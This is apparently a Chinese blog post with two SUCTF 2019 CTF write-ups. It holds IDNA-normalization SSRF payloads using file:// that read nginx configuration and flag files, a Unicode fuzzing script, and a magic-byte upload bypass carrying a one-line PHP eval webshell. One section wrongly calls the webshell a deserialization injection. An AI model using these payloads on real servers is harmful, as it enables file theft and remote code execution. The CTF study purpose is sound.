[SUCTF 2019]Pythonginx 1

题目

在这里插入图片描述

代码分析

from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request

app = Flask(__name__)

# Index
@app.route('/', methods=['GET'])
def app_index():
    return render_template('index.html')

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl, timeout=2).read()
    else:
        return "我扌 your problem? 333"

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=80)

我们需要提交一个url,用来读取服务器端任意文件,需要绕过前面两个if,进入第三个if
三个if判断的都是host是否等于’suctf.cc’

urlsplit()

urllib.parse.urlsplit(url):这个函数将一个 URL 解析为以下五个部分:
    scheme:URL 的协议部分,如 http, https 等。
    netloc:URL 的网络位置部分,通常是主机名和端口号的组合。
    path:URL 的路径部分。
    query:URL 的查询参数部分。
    fragment:URL 的片段部分,即在页面内部定位用的锚点。
    
例如,对于 URL "https://www.example.com/path/to/resource?query=1#fragment",urlsplit 将解析为:
    scheme 是 "https"
    netloc 是 "www.example.com"
    path 是 "/path/to/resource"
    query 是 "query=1"
    fragment 是 "fragment"

nginx文件位置

配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
配置文件目录为:/usr/local/nginx/conf/nginx.conf

解题

偷个脚本构造exp

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass


def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return False
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False

if __name__=="__main__":
    get_unicode()

payload:/getUrl?url=file://suctf.cC/usr/local/nginx/conf/nginx.conf
得到文件目录
在这里插入图片描述
读取文件
payload:/getUrl?url=file://suctf.cℂ/…/…/…/…/…//usr/fffffflag
在这里插入图片描述

### SUCTF 2019 CheckIn 题目解析 #### 背景介绍 SUCTF 2019 的 `CheckIn` 是一道 Web 安全题目,主要考察参赛者对于文件上传漏洞的理解以及如何绕过后端的安全检测机制。 #### 文件上传安全检测 在该题目中,服务器使用了 `exif_imagetype()` 函数来验证上传文件是否为合法的图片格式。此函数通过读取文件头部信息中的特定签名来识别图像类型[^3]。然而,这种基于文件头的简单校验方式存在被攻击者利用的可能性。 #### 绕过方法 为了成功提交恶意脚本而不触发上述防护措施,可以采用如下策略: - **修改文件头**:在实际要执行的有效载荷之前附加一段符合目标图片格式标准的数据流。例如,在PHP代码前加入代表JPEG、GIF或PNG格式的魔数(Magic Number),使得即使内容并非真正的图形数据也能顺利通过检验。 具体操作可以在十六进制编辑工具如010Editor里完成,向待上传文件起始处写入相应类型的特征码: - 对于JPG文件应添加 `FF D8 FF E0 00 10 4A 46 49 46` - GIF则需插入字符串 `"GIF89a"` - PNG对应的是序列 `89 50 4E 47` 这样处理后的文件既满足表象上的合法性又暗藏可被执行的指令片段[^2]。 #### 实现过程 创建一个特制的小型Webshell作为测试样本,这里选用了一种常见的单行反序列化命令注入形式,并伪装成GIF图档的形式发送给远程主机。注意去除敏感字符以免引起不必要的过滤拦截。 ```php <?php @eval($_POST['messi']);?> ``` 将其转换为适合传输的状态——即前面提到过的带有虚假图片标识的部分,最终形成完整的payload之后再实施递交动作。一旦部署完毕即可借助客户端发起请求激活隐藏功能获取进一步控制权或者直接读取指定路径下的敏感资料比如 `/flag` 来完成挑战任务[^1]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值